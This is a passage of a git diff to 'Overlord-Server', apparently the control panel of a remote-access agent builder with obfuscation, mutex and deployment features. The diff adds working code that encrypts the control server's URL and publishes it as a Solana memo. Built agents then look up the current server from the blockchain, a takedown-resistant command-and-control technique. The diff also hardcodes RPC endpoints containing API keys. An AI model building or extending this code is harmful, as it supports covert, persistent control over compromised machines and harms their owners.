to Solana'; + } +}); diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index 4ab7115..af802a6 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -159,6 +159,25 @@

When enabled, the URL above must be a raw HTTPS link with one wss:// endpoint per line.

+ +
diff --git a/Overlord-Server/public/sol-publish.html b/Overlord-Server/public/sol-publish.html new file mode 100644 index 0000000..09cbc98 --- /dev/null +++ b/Overlord-Server/public/sol-publish.html @@ -0,0 +1,123 @@ + + + + + + Solana Memo Publisher - Overlord + + + + + + + + + + + + +
+
+
+
+

+ Solana Memo Publisher +

+

+ Publish an encrypted server URL as a Solana memo transaction. + Clients configured with Solana lookup will query this address to find the server. +

+
+ +
+ + +
+ + + +
+ + +
+ +
+ + +
+

+ + Your private key is never stored — it's used in-memory only for signing and discarded immediately. +

+ +
+ + +
+ + +

+ The server URL that clients will connect to. Multiple URLs can be separated by newlines. +

+
+ + +
+ + +
+ + + + +
+ + +
+

How it works

+
    +
  • The server URL is encrypted with AES-256-GCM using SHA-256 of your server's Agent Token as the key.
  • +
  • The encrypted memo is published as a Solana memo transaction from your wallet.
  • +
  • Clients built with Solana mode query your wallet address for the latest memo and decrypt it.
  • +
  • Publishing costs approximately 0.000005 SOL (~$0.001).
  • +
  • To update the server URL, just publish a new memo — clients always use the newest one.
  • +
+
+
+
+ + + + + diff --git a/Overlord-Server/src/build/types.ts b/Overlord-Server/src/build/types.ts index 433daf3..dc3298f 100644 --- a/Overlord-Server/src/build/types.ts +++ b/Overlord-Server/src/build/types.ts @@ -38,4 +38,7 @@ export type BuildConfig = { requireAdmin?: boolean; outputExtension?: string; sleepSeconds?: number; + solMemo?: boolean; + solAddress?: string; + solRpcEndpoints?: string; }; diff --git a/Overlord-Server/src/config.ts b/Overlord-Server/src/config.ts index 2b10265..85d3f55 100644 --- a/Overlord-Server/src/config.ts +++ b/Overlord-Server/src/config.ts @@ -249,12 +249,12 @@ export function loadConfig(): Config { logger.info("No JWT secret provided, generated secure random secret"); } - const agentTokenFromEnv = process.env.OVERLORD_AGENT_TOKEN; - const agentTokenFromConfig = fileConfig.auth?.agentToken; + const agentTokenFromEnv = process.env.OVERLORD_AGENT_TOKEN?.trim(); + const agentTokenFromConfig = fileConfig.auth?.agentToken?.trim(); let finalAgentToken = agentTokenFromEnv || agentTokenFromConfig || - savedSecrets.auth?.agentToken || + savedSecrets.auth?.agentToken?.trim() || DEFAULT_CONFIG.auth.agentToken; if (!finalAgentToken) { finalAgentToken = generateRandomSecret(64); diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index e3cf72e..a8901f4 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -19,6 +19,7 @@ import { handleAuthRoutes } from "./server/routes/auth-routes"; import { handleAutoScriptsRoutes } from "./server/routes/auto-scripts-routes"; import { handleEnrollmentRoutes, setPostApproveHook } from "./server/routes/enrollment-routes"; import { handleBuildRoutes } from "./server/routes/build-routes"; +import { handleSolRoutes } from "./server/routes/sol-routes"; import { handleAssetsRoutes } from "./server/routes/assets-routes"; import { handleDeployRoutes } from "./server/routes/deploy-routes"; import { handleWinRERoutes } from "./server/routes/winre-routes"; @@ -552,6 +553,7 @@ async function startServer() { handleAutoScriptsRoutes, handleAutoDeployRoutes, handleEnrollmentRoutes, + handleSolRoutes, handleUsersRoutes, handleBuildRoutes, handleDeployRoutes, diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts index 6529c09..2046822 100644 --- a/Overlord-Server/src/server/build-process.ts +++ b/Overlord-Server/src/server/build-process.ts @@ -700,6 +700,24 @@ func runBoundFiles() { sendToStream({ type: "output", text: "Raw server list: enabled\n", level: "info" }); } + if (config.solMemo) { + const solFlag = "-X overlord-client/cmd/agent/config.DefaultServerURLIsSol=true"; + ldflags = ldflags ? `${ldflags} ${solFlag}` : solFlag; + sendToStream({ type: "output", text: "Solana memo lookup: enabled\n", level: "info" }); + + if (config.solAddress) { + const solAddrFlag = `-X overlord-client/cmd/agent/config.DefaultSolAddress=${config.solAddress}`; + ldflags = `${ldflags} ${solAddrFlag}`; + sendToStream({ type: "output", text: `Solana address: ${config.solAddress}\n`, level: "info" }); + } + + if (config.solRpcEndpoints) { + const solRpcFlag = `-X overlord-client/cmd/agent/config.DefaultSolRPCEndpoints=${config.solRpcEndpoints}`; + ldflags = `${ldflags} ${solRpcFlag}`; + sendToStream({ type: "output", text: `Solana RPC endpoints: ${config.solRpcEndpoints}\n`, level: "info" }); + } + } + if (buildMutex) { const mutexFlag = `-X overlord-client/cmd/agent/config.DefaultMutex=${buildMutex}`; ldflags = ldflags ? `${ldflags} ${mutexFlag}` : mutexFlag; diff --git a/Overlord-Server/src/server/http-dispatch.ts b/Overlord-Server/src/server/http-dispatch.ts index 6a61299..f89568b 100644 --- a/Overlord-Server/src/server/http-dispatch.ts +++ b/Overlord-Server/src/server/http-dispatch.ts @@ -40,6 +40,7 @@ type HttpDispatchDeps< handleAutoScriptsRoutes: RouteHandler; handleAutoDeployRoutes: RouteHandlerWithDeps; handleEnrollmentRoutes: RouteHandler; + handleSolRoutes: RouteHandler; handleUsersRoutes: RouteHandlerWithServer; handleBuildRoutes: RouteHandlerWithServerDeps; handleDeployRoutes: RouteHandlerWithServerDeps; @@ -122,6 +123,9 @@ export function createHttpFetchHandler< const enrollmentResponse = await deps.handleEnrollmentRoutes(req, url); if (enrollmentResponse) return enrollmentResponse; + const solResponse = await deps.handleSolRoutes(req, url); + if (solResponse) return solResponse; + const usersResponse = await deps.handleUsersRoutes(req, url, routeServer); if (usersResponse) return usersResponse; diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts index 255ef16..3fd9c6e 100644 --- a/Overlord-Server/src/server/routes/build-routes.ts +++ b/Overlord-Server/src/server/routes/build-routes.ts @@ -49,6 +49,9 @@ export async function handleBuildRoutes( platforms, serverUrl, rawServerList, + solMemo, + solAddress, + solRpcEndpoints, stripDebug, disableCgo, obfuscate, @@ -101,10 +104,19 @@ export async function handleBuildRoutes( } const safeRawServerList = !!rawServerList; + const safeSolMemo = !!solMemo; const safeServerUrl = typeof serverUrl === "string" && serverUrl.trim() !== "" ? serverUrl.trim() : undefined; + + if (safeRawServerList && safeSolMemo) { + return Response.json( + { error: "Cannot enable both raw server list and Solana memo mode" }, + { status: 400 }, + ); + } + if (safeRawServerList) { if (!safeServerUrl) { return Response.json( @@ -125,6 +137,46 @@ export async function handleBuildRoutes( } } + let safeSolAddress: string | undefined; + let safeSolRpcEndpoints: string | undefined; + if (safeSolMemo) { + if (typeof solAddress !== "string" || !solAddress.trim()) { + return Response.json( + { error: "Solana memo mode requires a Solana address" }, + { status: 400 }, + ); + } + const trimmedAddr = solAddress.trim(); + if (!/^[1-9A-HJ-NP-Za-km-z]{32,44}$/.test(trimmedAddr)) { + return Response.json( + { error: "Invalid Solana address (must be Base58, 32-44 chars)" }, + { status: 400 }, + ); + } + safeSolAddress = trimmedAddr; + + if (typeof solRpcEndpoints === "string" && solRpcEndpoints.trim()) { + const endpoints = solRpcEndpoints.split("\n").map((e: string) => e.trim()).filter(Boolean); + for (const ep of endpoints) { + try { + const parsed = new URL(ep); + if (parsed.protocol !== "https:" && parsed.protocol !== "http:") { + return Response.json( + { error: `Invalid RPC endpoint protocol: ${ep}` }, + { status: 400 }, + ); + } + } catch { + return Response.json( + { error: `Invalid RPC endpoint URL: ${ep}` }, + { status: 400 }, + ); + } + } + safeSolRpcEndpoints = endpoints.join(","); + } + } + const buildId = uuidv4(); const ip = server.requestIP(req)?.address || "unknown"; @@ -233,6 +285,9 @@ export async function handleBuildRoutes( platforms: allowedPlatforms, serverUrl: safeServerUrl, rawServerList: safeRawServerList, + solMemo: safeSolMemo, + solAddress: safeSolAddress, + solRpcEndpoints: safeSolRpcEndpoints, mutex: safeMutex, disableMutex: safeDisableMutex, stripDebug, diff --git a/Overlord-Server/src/server/routes/page-routes.ts b/Overlord-Server/src/server/routes/page-routes.ts index 7d2e2d4..6e896ca 100644 --- a/Overlord-Server/src/server/routes/page-routes.ts +++ b/Overlord-Server/src/server/routes/page-routes.ts @@ -71,6 +71,7 @@ const STATIC_PAGES: StaticPageDef[] = [ { path: "/users", file: "users.html", access: "admin", checkPasswordChange: true }, { path: "/user-client-access", file: "user-client-access.html", access: "admin", checkPasswordChange: true }, { path: "/build", file: "build.html", access: "admin-or-operator" }, + { path: "/sol-publish", file: "sol-publish.html", access: "admin" }, { path: "/plugins", file: "plugins.html", access: "admin-or-operator" }, { path: "/scripts", file: "scripts.html", access: "no-viewer" }, { path: "/deploy", file: "deploy.html", access: "admin" }, diff --git a/Overlord-Server/src/server/routes/sol-routes.ts b/Overlord-Server/src/server/routes/sol-routes.ts new file mode 100644 index 0000000..28f5b9e --- /dev/null +++ b/Overlord-Server/src/server/routes/sol-routes.ts @@ -0,0 +1,221 @@ +import { createHash, randomBytes, createCipheriv } from "crypto"; +import { authenticateRequest } from "../../auth"; +import { getConfig } from "../../config"; +import { logger } from "../../logger"; +import { + Connection, + Keypair, + Transaction, + TransactionInstruction, + PublicKey, + LAMPORTS_PER_SOL, +} from "@solana/web3.js"; + +const MEMO_PROGRAM_ID = new PublicKey("MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr"); + +const BASE58_ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"; +function decodeBase58(str: string): Uint8Array { + const bytes: number[] = [0]; + for (const char of str) { + const idx = BASE58_ALPHABET.indexOf(char); + if (idx < 0) throw new Error(`Invalid base58 character: ${char}`); + let carry = idx; + for (let j = 0; j < bytes.length; j++) { + carry += bytes[j] * 58; + bytes[j] = carry & 0xff; + carry >>= 8; + } + while (carry > 0) { + bytes.push(carry & 0xff); + carry >>= 8; + } + } + for (const char of str) { + if (char !== '1') break; + bytes.push(0); + } + return new Uint8Array(bytes.reverse()); +} + +const DEFAULT_RPC_ENDPOINTS = [ + "https://api.mainnet-beta.solana.com", + "https://solana-mainnet.gateway.tatum.io", + "https://go.getblock.us/86aac42ad4484f3c813079afc201451c", + "https://solana-rpc.publicnode.com", + "https://api.blockeden.xyz/solana/KeCh6p22EX5AeRHxMSmc", + "https://solana.drpc.org", + "https://solana.leorpc.com/?api_key=FREE", + "https://solana.api.onfinality.io/public", + "https://solana.api.pocket.network/", + "https://api.devnet.solana.com", +]; + +function encryptServerUrl(serverUrl: string, agentToken: string): string { + const keyHash = createHash("sha256").update(agentToken).digest(); + const nonce = randomBytes(12); + const cipher = createCipheriv("aes-256-gcm", keyHash, nonce); + const encrypted = Buffer.concat([cipher.update(serverUrl, "utf8"), cipher.final()]); + const tag = cipher.getAuthTag(); + return Buffer.concat([nonce, encrypted, tag]).toString("base64"); +} + +export async function handleSolRoutes( + req: Request, + url: URL, +): Promise { + if (!url.pathname.startsWith("/api/sol")) { + return null; + } + + try { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + + if (user.role !== "admin") { + return new Response("Forbidden: Admin access required", { status: 403 }); + } + + if (req.method === "POST" && url.pathname === "/api/sol/preview") { + const body = await req.json(); + const { serverUrl } = body; + + if (!serverUrl || typeof serverUrl !== "string" || !serverUrl.trim()) { + return Response.json({ error: "serverUrl is required" }, { status: 400 }); + } + + const config = getConfig(); + const agentToken = config.auth.agentToken; + if (!agentToken) { + return Response.json({ error: "No agent token configured on this server" }, { status: 400 }); + } + + const memo = encryptServerUrl(serverUrl.trim(), agentToken); + return Response.json({ memo, memoLength: memo.length }); + } + + if (req.method === "POST" && url.pathname === "/api/sol/publish") { + const body = await req.json(); + const { privateKeyBase58, serverUrl, rpcUrl } = body; + + if (!serverUrl || typeof serverUrl !== "string" || !serverUrl.trim()) { + return Response.json({ error: "serverUrl is required" }, { status: 400 }); + } + if (!privateKeyBase58 || typeof privateKeyBase58 !== "string" || !privateKeyBase58.trim()) { + return Response.json({ error: "privateKeyBase58 is required" }, { status: 400 }); + } + + const config = getConfig(); + const agentToken = config.auth.agentToken; + if (!agentToken) { + return Response.json({ error: "No agent token configured on this server" }, { status: 400 }); + } + + let keypair: Keypair; + try { + const decoded = decodeBase58(privateKeyBase58.trim()); + keypair = Keypair.fromSecretKey(decoded); + } catch { + return Response.json({ error: "Invalid Solana private key (Base58)" }, { status: 400 }); + } + + const endpoint = typeof rpcUrl === "string" && rpcUrl.trim() + ? rpcUrl.trim() + : "https://api.mainnet-beta.solana.com"; + + try { + new URL(endpoint); + } catch { + return Response.json({ error: "Invalid RPC URL" }, { status: 400 }); + } + + const memo = encryptServerUrl(serverUrl.trim(), agentToken); + + try { + const connection = new Connection(endpoint, "confirmed"); + + const memoInstruction = new TransactionInstruction({ + keys: [{ pubkey: keypair.publicKey, isSigner: true, isWritable: true }], + programId: MEMO_PROGRAM_ID, + data: Buffer.from(memo, "utf8"), + }); + + const transaction = new Transaction().add(memoInstruction); + transaction.feePayer = keypair.publicKey; + + const { blockhash } = await connection.getLatestBlockhash("confirmed"); + transaction.recentBlockhash = blockhash; + + transaction.sign(keypair); + + const signature = await connection.sendRawTransaction(transaction.serialize(), { + skipPreflight: false, + preflightCommitment: "confirmed", + }); + + await connection.confirmTransaction(signature, "confirmed"); + + logger.info(`[sol] Published memo to Solana. Signature: ${signature}, Address: ${keypair.publicKey.toBase58()}`); + + return Response.json({ + success: true, + signature, + address: keypair.publicKey.toBase58(), + memo, + memoLength: memo.length, + explorerUrl: endpoint.includes("devnet") + ? `https://explorer.solana.com/tx/${signature}?cluster=devnet` + : `https://explorer.solana.com/tx/${signature}`, + }); + } catch (err: any) { + logger.error(`[sol] Failed to publish memo: ${err?.message || err}`); + return Response.json({ + error: `Transaction failed: ${err?.message || "Unknown error"}`, + }, { status: 500 }); + } + } + + if (req.method === "POST" && url.pathname === "/api/sol/balance") { + const body = await req.json(); + const { publicKeyBase58, rpcUrl } = body; + + if (!publicKeyBase58 || typeof publicKeyBase58 !== "string") { + return Response.json({ error: "publicKeyBase58 is required" }, { status: 400 }); + } + + let pubkey: PublicKey; + try { + pubkey = new PublicKey(publicKeyBase58.trim()); + } catch { + return Response.json({ error: "Invalid Solana public key" }, { status: 400 }); + } + + const endpoint = typeof rpcUrl === "string" && rpcUrl.trim() + ? rpcUrl.trim() + : "https://api.mainnet-beta.solana.com"; + + try { + const connection = new Connection(endpoint, "confirmed"); + const balance = await connection.getBalance(pubkey); + return Response.json({ + balance, + balanceSol: balance / LAMPORTS_PER_SOL, + }); + } catch (err: any) { + return Response.json({ + error: `Failed to fetch balance: ${err?.message || "Unknown error"}`, + }, { status: 500 }); + } + } + + if (req.method === "GET" && url.pathname === "/api/sol/rpc-endpoints") { + return Response.json({ endpoints: DEFAULT_RPC_ENDPOINTS }); + } + + return null; + } catch (err: any) { + logger.error(`[sol] Route error: ${err?.message || err}`); + return Response.json({ error: "Internal server error" }, { status: 500 }); + } +}